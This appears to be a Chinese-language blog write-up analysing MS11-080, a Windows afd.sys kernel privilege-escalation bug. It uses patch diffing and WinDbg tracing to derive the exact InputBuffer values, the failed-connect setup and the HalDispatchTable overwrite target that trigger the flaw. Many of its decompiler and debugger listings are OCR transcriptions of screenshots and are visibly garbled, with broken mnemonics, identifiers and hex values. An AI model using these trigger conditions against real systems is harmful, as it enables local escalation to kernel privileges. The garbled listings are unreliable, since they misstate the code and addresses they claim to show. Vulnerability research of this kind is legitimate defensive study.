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MS11-080的补丁刚出来的时候，看微软的安全公告上说这是一个可用来提权的漏洞。当时觉得这种漏洞的成因用补丁比对技术还是比较容易看出来的（虽然在分析MS11-062是没有用到，详见拙文《对MS11-062的分析》） 就赶紧用PatchDiff2比较了一下打补丁前后的两个adf.sys(补丁后版本：5.1.2600.6142  补丁前版本：5.1.2600.6081)Matched Function中显示的函数是AfdJoinLeaf,如图1所示：
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图1
进一步查看两个函数流程图比对，发现是在对某一个值的检验上存在差异。先看看补丁前是怎么做的，如图2所示：
[image: image2.png]cmp dword ptr [ebx+4], 8

jbe  short loc_B2D30DCD
tp  byte ptr [edis2on], 1
jnz  short loc_B2D30DCD
mov  eax, ds:__imp_MnUserProbenddress
mou  eax, [eax]
cnp [edi+3ch], eax
jb short loc_B2D30DCO
mou  dword ptr [eax], 0
1loc_B2030DC0: 5 CODE XREF: AfdJoinLeaf(x,x)+113T
mou  eax, [edis3Ch]
mou  ecx, [eax]
nou [eax], eck
mou  ecx, [eax+h]

nou [eax+4], ecx




                                        图2
为了便于理解，将这段汇编代码用以下伪C语言代码表示：
If(theIoStackLocation.OutputBufferLength !=0 && theIrp.RequestMode ==1)
{

//如果IRP请求时从Ring3发起，而且传入DeviceIoControl的参数OutputBufferLength
//不为0
If(theIrp.UserBuffer > MmUserProbeAddress)
{

//故意触发异常，并且被AfdJoinLeaf在函数入口处注册的SEH Handler处理

*(MmUserProbeAddress) = 0;
}
else
{

//对theIrp.UserBuffer所指向的地址进行读写操作以检验其有效性

DWORD dwTemp



  =
*(DWORD *)theIrp.UserBuffer;

*(DWORD *)theIrp.UserBuffer
  =
dwTemp;

dwTemp





  =
*((DWORD *) theIrp.UserBuffer+1);

*((DWORD *) theIrp.UserBuffer+1)  =  dwTemp;
}
}
这段代码用来对传入DeviceIoControl的参数OutputBuffer（也就是IRP中的字段UserBuffer）的有效性进行验证，OutputBufferLength指明了OutputBuffer的长度。这个值会被保存在
IO_STACK_LOCATION中的字段Parameters.DeviceIoControl.OutputBufferLength中。
不难看出如果攻击者在调用DeviceIoControl时传入的是一个无效的地址，但是却将OutputBUfferLength设为0，那么以上对OutputBuffer进行验证的代码将不会得到执行!
结合自己对利用内核任意地址写内存来进行提权的Exploit的分析经验，很容易将该漏洞的成因定位于此。接下来需要搞清楚的问题就是，AFD.sys是在什么地方对OutputBuffer进行的写内存操作？
刚开始由于没有拿到公开的POC，所以只能自己写Ring3程序来向AFD.sys发送IRP使AfdJoinLeaf得到调用，然后一步步跟踪分析。但毕竟本人能力有限，水平一般，所以效果非常不理想。
后来在网上找资料看到AFD.sys之前还爆出过一个MS11-046的漏洞，同样可以用来进行提权。Azy牛的博文《触发MS11-046》给出了触发漏洞的POC。说来有趣，后来看到wingdbg亲情推荐的一篇《[转]触发MS11-046》看到了原文里没有的两句话：
“1. 必须让connect执行失败。
2. 最后的写操作是在完成例程插的一个APC例程中执行。”
心中默念这两句话再去看AfdConnect，果然看出了玄机——AfdConnect在最后会执行以下代码段——
[image: image3.png]if ( AfdRestartConnect )

<
v19 = 18 - 36;
*(_DUORD x)(u19 + 28) = AFdRestartConnect;
*(CDUORD ) (u19 + 82) = v3s;
*(BYTE *)(v19 + 3) = -32;

>

else

<
v2u = 18 - 36;
*(_DUORD x)(u2is + 28) = 8;
*(CDUORD x)(u21s + 32) = 8;
*(CBYTE x)(u2t + 3)

>

20 = *(_DUORD *)(u11 + 96) - 363

*(_BYTE $)u20 = 153
*(CBYTE x)(u20 + 1) = 3

*(DUORD ¥)(u20 + 20) = *(_DUORD *)(u35 + 16);
*(DUORD %) (u20 + 24) = *(_DUORD *)(u35 + 12);
*(CDUORD ) (u20 + 8) = u3i3

*(CDUORD ) (u20 + 12) = v30;

*(DUORD x)(u20 + 16) = &AFdInfiniteTineout;

_InterlockedExchangeAdd((signed _int32 x)(ui5 + 132), 1u);
Feturn TofCallDriver(x(_DWORD x)(u35 + 16), vi1);




                               图3
IofCallDriver将会进一步调用AfdRestartConnect,在后者中果然看到有插APC的行为——：
[image: image4.png]AF ( *((_BYTE =)u3 + 32)
a8 *((CDUORD x)u3 + 15)
e& (KeInitializeApc(
v v ne,
*((DUORD *)u3 + 26),
*((BYIE x)u3 + 38),
AfdConnectApcKernelRoutine,
AfdConnectApcRundounRoutine
o,
o,
8),
(unsigned __int8)KelnsertQueueApc(ul + 48, u3, 8, AFdPriorityBoost)) )

<
result = -1078741802;
¥




在对Azy牛给出的POC调试时发现，如果在调用DeviceIoControl时传入一个无效的内存地址作为OutputBUffer,那么导致BSOD的原因确实是因为在APC 例程AfdConnectApcKernelRoutine中对无效地址了进行写内存操作。
回过头在看AfdJoinLeaf,发现其在末尾处也有非常相似的代码段——
    [image: image5.png]if ( AfdRestartJoin )
<
v21 = 20 - 36;
*(_DUORD x)(u21 + 28) = AfdRestartJoin;
*(CDUORD ) (u21 + 82) = v373
*(BYTE *)(u21 + 3) = -32;
>
else
<
v23 = 20 - 36;
*(_DUORD x)(u23 + 28) = 85
*(CDUORD x)(u23 + 32) = 8;
*(CBYTE x)(u23 + 3) = 8;
>
24 = *(_DUORD *)(u10 + 96) - 363
*(_BYTE vzt = 155
*(CBYTE x)(u2t + 1)
*(DUORD %) (u2% + 20) = *(_DUORD *)(u37 + 16);

*(DUORD %) (u2s + 24) = *x(_DWORD *)(v37 + 12)3
*(CDUORD ) (uz4 + 8) = u293
*(CDUORD ) (u24 + 12) = v28;

*(DUORD x)(u2% + 16) = eAFdInfiniteTineout;
_InterlockedExchangeAdd((signed __int32 x)(u13 + 132), 1u);
Feturn IofCallDriver(*(_DUORD *)(u37 + 16), v10);




                                       图4
我不由的怀疑IofCallDriver会进一步调用AfdRestartJoin，而在后者中同样存在插APC的行为。
[image: image6.png]Imousx . byte ptr [edi+26n]
bush  offset _afdConnectApcRundownRoutine@h
bush  offset _AfdConnectApcKernelRoutine@2

AfdConnectApcRundounRoutine (x)
AfdConnectApcKernelRoutine (x,%,X,%,x)

push  eax

push  dword ptr [edi+50n]

lea  ebx, [esisZ8n]

push  ebx

lcall  ds: _ imp_ KelnitializeApc@32 ; KelnitializeApC(X,X,X,X,X,X,%,X





                                       图5
这里又见AfdConnectApcKernelRoutine!
所以当时就想如果能构造InputBuffer中的数据，使AfdJoinLeaf的控制流顺利的执行到IofCallDriver，那这个漏洞就可以被成功触发！
但至于如何实现，当时花了很大力气都没有搞定！折腾了一阵就果断放弃了这个自不量力的想法，安然坐等外国友人放POC！
终于！在11月的尾巴，12月的前奏的11月30号，EXPLOIT-DB上外国友人Matteo Memelli 放出了MS11-080的python版POC。
内核任意地址写入漏洞如何来提权？这个想必做漏洞研究的朋友都了然于心，我这里不再赘述，以下主要结合对AfdJoinLeaf单步调试过程分析一下InputBuffer中的数据对AfdJoinLeaf控制流的影响。
一开始看老外的POC觉得InputBuffer的长度的选取以及其中数据的构造都会非常有讲究，通过调试发现InputBuffer中实际影响AfdJoinLeaf控制流的也就仅仅两个DWORD和一个WORRD而已！甚至连InputBuffer的长度都可以根据攻击者的口味来构造。为了便于向读者说明InputBuffer中哪些字段是关键的，我对原POC做了一些修改，以下给出我构造的长度为0x4B的InputBuffer
[image: image7.png]memset(InputBuffer, 0,sizeof(InputBuffer) * sizeof(BYTE));
*((DWORD *)InputBuffer) 0x4B5FSF4B;

*((DWORD *)InputBuffer+1) 1%
*((DWORD *)InputBuffer+2) (0x4BSFSF4B;

*((DWORD ®)InputBuffer+3) = 1; 1158
*((WORD *)(InputBuffer + 16)) 1%

*((BYTE *)InputBuffer + 18)
*((WORD *)(InputBuffer + 19)) = OX3F; 1%




                              图6
以下给出调试过程中，发现的关键跳转以及相关赋值的说明和截图——
如图7，第一处关键跳转：判断InputBuffer的长度是否大于0x18字节，如果小于0x18字节转向错误处理
       [image: image8.png]kd> p
afd!AfdJoinLeaf+0x19:
[b2d30che 854308

kd> p

afd! AfdJoinLeaf+0xlc:
[b2d30cc1 83£818

kd> reax
e2x=0000004b

kd> p

afd! AfdJoinLeaf+0x1f:
[b2d30cc4 0£82ac040000

mov

eax, dword ptr [ebx+8]

eax, 18h

afd!AfdJoinLeaf+0x4ba (b2d31176)



、
                                  图7
如图8，第二处关键跳转：判断OutputBufferlength是否为0，如果OutputBufferLength的长度不为0，但是却小于8.控制流将转向错误处理
[image: image9.png]kd> t
afd!AfdJoinleaf+0x25:
b2d30cca 865304

kd> t
afd!AfdJoinleaf+0x28:
b2d30ccd 3bd6

kd> t
afd!AfdJoinleaf+0x2a:
b2d30ccf 7409

kd> redx
dx=00000000

mov

cmp

je

edx, dword ptr [ebx+4]

edx, esi

afd!AfdJoinleaf+0x35 (b2d30cda)




                               图8
 如图9，从InputBuffer内偏移4字节处读取0，保存在局部变量[ebp-38h]中
[image: image10.png]kd> p

afd!AfdJoinleaf+0x72:
b2d30d17 864804 mov
kd> p

afd!AfdJoinleaf+0x75:
b2d30d1a 894dc8 mov
kd> reax

cax=0012££28

kd> recx

cx=00000000

kd> dd eax

ecx, dword ptr [eax+4]

dword ptr [ebp-38h], ecx

0012££28 4b5£5£4b 00000000 4b5£5£4b 00000001
0012££38 3£4b002b 00000000 00000000 00000000









                  图9
如图10，将InputBuffer偏移0xC的地址保存在局部变量[ebp-58h]中
[image: image11.png]kd> p

afd!AfdJoinLeaf+0x78:
b2d30d1d 8d700c lea
kd> t

afd!AfdJoinLeaf+0x7h:
b2d30d20 89758 mov
kd> t

afd!AfdJoinleaf+0xTe:
b2d30d23 84308 mov
kd> dd esi

esi, [eax+0Ch]

dword ptr [ebp-58h], esi

eax, dword ptr [ebx+8]

0012££34 00000001 3£45002b 00000000 00000000
0012ff44 00000000 00000000 00000000 00000000




                              图10
如图11，用InputBufferLength（0x4B）减去0xC,将结果保存在局部变量[ebp-2ch]中
[image: image12.png]kd> p

afd!AfdJoinLeaf+0x81:

b2d30d26 83e80c sub eax, 0Ch

kd> reax

€2x=0000004b

kd> t

afd!AfdJoinLeaf+0x84:

b2d30d29 8945d4 mov dword ptr [ebp-2Ch], eax











   图11
如图12，第三处关键跳转，判断*((DWORD *)InputBuffer+3)是否为1，这里需要说明的是此时EAX所指向的缓冲区是AfdJoinLeaf中根据InputBuffer的长度(0x4B)加上0x30字节大小分配的一块内存Local_Buffer。之后会将InputBuffer中偏移0xC字节的数据全部赋值到Local_Buffer中。如果不为1，控制流转向错误处理
[image: image13.png]kd> p

afd!AfdJoinLeaf+0xcd:

b2d30d72 833801 cmp dword ptr [eax], 1
kd> dd eax

81d98d00 00000001 3£4b002b 00000000 00000000
81d98d10 00000000 00000000 00000000 00000000
81d98d20 00000000 00000000 00000000 00000000
81d98d30 00000000 00000000 00000000 00000000
81d98d40 0002000f 6c646156 82004df8 82123468
81d98d50 0060002 20646156 00000320 00000322
81d98d60 81c35200 00000000 81dc5d50 01000000
81d98d70 8202bad8 e166de68 e166de78 80000000

kd> p

afd!AfdJoinLeaf+0xd0:

b2d30d75 750e ne afd!AfdJoinLeaf+0xe0 (b2d30d85)




              



  图12
如图13，读取Local_Buffer中写入的WORD 0x2B，如上文所述这个值是从InputBuffer中复制过去的
[image: image14.png]kd> p
afd!AfdJoinLeaf+0xd2:
b2d30d77 8b45d3

kd> t
afd!AfdJoinLeaf+0xd5:
b2d30d7a 0£b74034
kd> t
afd!AfdJoinLeaf+0xd9:
b2d30d7e 83c008

kd> reax
2x=0000002b

kd> dd ebp-28 11
b26efbfc 81d98cd0
kd> dw 81d98cd0+34 11
51498404 002b

mov

movzx

add

eax, dword ptr [ebp-28h]

eax, word ptr [eax+34h]

eax, 8




                               图13
如图14，第四处关键跳转：EAX=0x2B+8  EDX=0x4B-C，如果EDX小于EAX的值，就会转向错误处理

[image: image15.png]afd!AfdJoinLeaf+0xdc:

b2d30d81 3bd0 cmp edx, eax

kd> reax

€ax=00000033

kd> redx

edx=0000003f

kd> t

afd!AfdJoinLeaf+0xde:

b2d30483 7d0b jee  afd!AfdJoinleaf+Oxeb (b2d30d90)











       图14
如图15，第五处关键跳转，判断OutputBufferLength是否为0.如果不为0则就会对OutputBufferLength的有效性进行验证！为了绕过，在调用DeviceIoControl时
将OutputBufferLength传入0
[image: image16.png]kd> t

afd!AfdJoinLeaf+0xfd:
b2d30da2 837b0400 cmp
kd> dd ebx+4 11

81c570e8 00000000

kd> t

afd!AfdJoinLeaf+0x101:
b2d30da6 7625 jbe

dword ptr [ebx+4], 0

afd!AfdJoinLeaf+0x128 (b2d30dcd)











 图15
如图16，从IO_STACK_LOCATION中读取FILE_OBJECT指针到EAX中
[image: image17.png]kd> p

afd!AfdJoinLeaf+0x12c:

b2d30dd1 8b4318 mov eax, dword ptr [ebx+18h]
kd> dt _io_stack_location @cbx

ntd11!_I0_STACK_LOCATION

+0x000 Majorfunction  : Oxe

40x001 MinorFunction  : Ox2e '.’

+0x002 Flags 1 0s5

+0x003 Control 07

+0x004 Parameters : __unnamed

+0x014 DeviceObject : 0x81£e5958 _DEVICE_OBJECT
+0x018 FileObject : 0x81ca7578 _FILE_OBJECT

+0x01c CompletionRoutine : (null)
+0x020 Context : (null)











图16
如图17，从FILE_OBJECT中读取FsContext到ESI中 
[image: image18.png]kd> t
afd!AfdJoinLeaf+0x132:
b2d30dd7 8b700c mov
Net COM port baud is ignored
kd> dt _file_object @eax
ntd11!_FILE_OBJECT

+0x000 Type

+0x002 Size

+0x004 DeviceObject

+0x008 Vob

+0x00c FsContext

esi, dword ptr [eax+0Ch]

15

112

: 0x81£e5958 _DEVICE_OBJECT
¢ (null)

: 0x81fcf5a8




                


图17
如图18，第六处关键跳转，比较ESI所指向的FsContext中的WORD是否为0x0AAFD
[image: image19.png]kd> t
afd!AfdJoinLeaf+0x135:

b2d30dda 66813efdaa cmp
kd> t

afd!AfdJoinLeaf+0x13a:
b2d30ddf 754e ne

kd> dw esi 11
Blfcf5a8 afdd

word ptr [esil, 0AAFDR

afd!AfdJoinleaf+0x18a (b2d30e2f)












 图18
这里我不太清楚这个FsContext中存放的是什么样的数据结构，通过测试发现如果在DeviceIoControl之前调用connect连接到的是一个本地开放的端口(比如445)，那么此时这个值为0xAFD2。如果是一个无效端口，比如（4455），那么这个值就是0xAFD0。（回想Azy博文中的那句“必须让connect执行失败”）
如图19，第七处关键跳转，其实还是对0xAFD0的判断
[image: image20.png]kd> p

afd!AfdJoinLeaf+0x193:
b2d30e38 66806 mov
kd> t

afd!AfdJoinLeaf+0x196:
b2d30e3b 663dd0af cmp
kd> rax

ax=afd0

kd> t

afd!AfdJoinLeaf+0x19a:
b2d30e3f 7410 je

ax, word ptr [esil

ax, 0AFDOR

afd!AfdJoinLeaf+0xlac (b2d30e51)




                                    图19
如图20，第八处关键跳转，还记得进入AfdJoinLeaf对局部变量[ebp-38h]是用什么来赋值的吗？不记得的读者请自行查看图9 ((用InputBuffer中的*((DWORD *)InputBuffer+1)
啊混蛋)，如果不为0控制流将转向错误处理
[image: image21.png]kd> t
afd!AfdJoinLeaf+0xlac:

b2d30e51 837dc800 cmp dword ptr [ebp-38h], 0

kd> p

afd!AfdJoinLeaf+0x1b0:

b2d30e55 0£84c7010000  je afd!AfdJoinleaf+0x37d (b2d31022)

kd> dd ebp038 11

Couldn’t resolve error at ’ebp038
kd> dd ebp-38 11

b26efbec 00000000




                                   图20
如图21，第九处关键跳转，还是纠结于0xAFD0
[image: image22.png]kd> p
[afd! AfdJoinLeaf+0x37d:

[b2d31022 663dd1af cmp
kd> p

[afd! AfdJoinLeaf+0x381:
[b2d31026 751F ne
jkd> rax

lax=afd0

ax, 0AFD1h

afd!AfdJoinleaf+0x3a2 (b2d31047)




[image: image23.png]kd> t

afd!AfdJoinLeaf+0x3a2:

b2d31047 663dd0af
kd> t

afd!AfdJoinLeaf+0x3a6:

b2d3104b 741b

cmp

je

ax, 0AFDOR

afd!AfdJoinLeaf+0x3c3 (b2d31068)











       图21
如图22，第十处关键跳转，此时ESI指向的还是FsContext,如果不是2就会转向错误处理
[image: image24.png]kd> p

afd!AfdJoinLeaf+0x3d9:

b2d3107e 807¢0202 emp  byte ptr [esi2],2

kd> t

afd!AfdJoinLeaf+0x3dd:

b2d31082 7409 je afd!AfdJoinLeaf+0x3e8 (b2d3108d)
kd> db esi*2 11

8lfcfsaa 02

kd> dd esi

81fcf5a8 0102afd0 001b89af 00000000 00000000




跳转到0xB2D3108D后就是一马平川了！罗哩罗嗦扯了这么些没用的，简单总结一下，要想成功触发MS11-080,需要具备以下4个条件：
1、 connect到本地一个无效的端口！
2、 *((DWORD *)InputBuffer+1)的值必须为0！
3、 *((DWORD *)InputBuffer+3)的值必须为1！
4、 *((WORD *)(InputBuffer + 16))报存的是一个和InputBuffer长度有关的值，它们必须满足
以下关系
*((WORD *)(InputBuffer + 16)) + 8 < InputBufferLength – 12！
(也就是说这里不2B也可以()
最后在说说向OutputBuffer中写入的值。如前文所述向OutputBuffer所指向内存进行写操作是在APC例程AfdConnectApcKernelRoutine中完成的，关键代码如下:
PAGE:B2D2F39F                 mov     eax, [esi+3Ch][1]
PAGE:B2D2F3A2                 mov     ecx, [esi+18h]

PAGE:B2D2F3A5                 mov     [eax], ecx

注释：
【1】 ESI中保存着指向IRP结构体指针
所以这段代码对应的C代码如下：
*(DWORD *)theIrp.UserBuffer
=
theIrp.IoStatus.Status; //Status表示该IRP处理结果
在调试中发现这个值theIrp.IoStatus.Status是攻击者不可控的值——0xC0000207,如图23所示：
[image: image25.png]











图23所示
所以在老外的那份POC中，这个OutputBuffer值选取的是HalDispatchTable+0x4+1,这样一来HaliQuerySystemInformation在HalDispatchTable中的地址恰好被改为0x0000207，如图24所示
[image: image26.png]



              漏洞触发前的HalDispatchTable
[image: image27.png]



                        漏洞触发后的HalDispatchTable
                                   图24
